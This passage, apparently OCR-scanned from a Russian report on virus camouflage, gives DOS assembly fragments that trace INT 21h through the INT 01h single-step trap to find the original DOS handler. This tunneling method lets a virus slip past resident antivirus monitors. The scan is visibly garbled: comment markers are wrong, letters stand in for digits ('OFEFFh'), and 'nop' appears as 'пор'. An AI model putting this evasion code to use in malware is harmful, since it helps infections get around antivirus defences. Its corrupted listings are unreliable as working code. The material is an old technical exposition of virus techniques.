Доклад: Маскировка вирусов
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS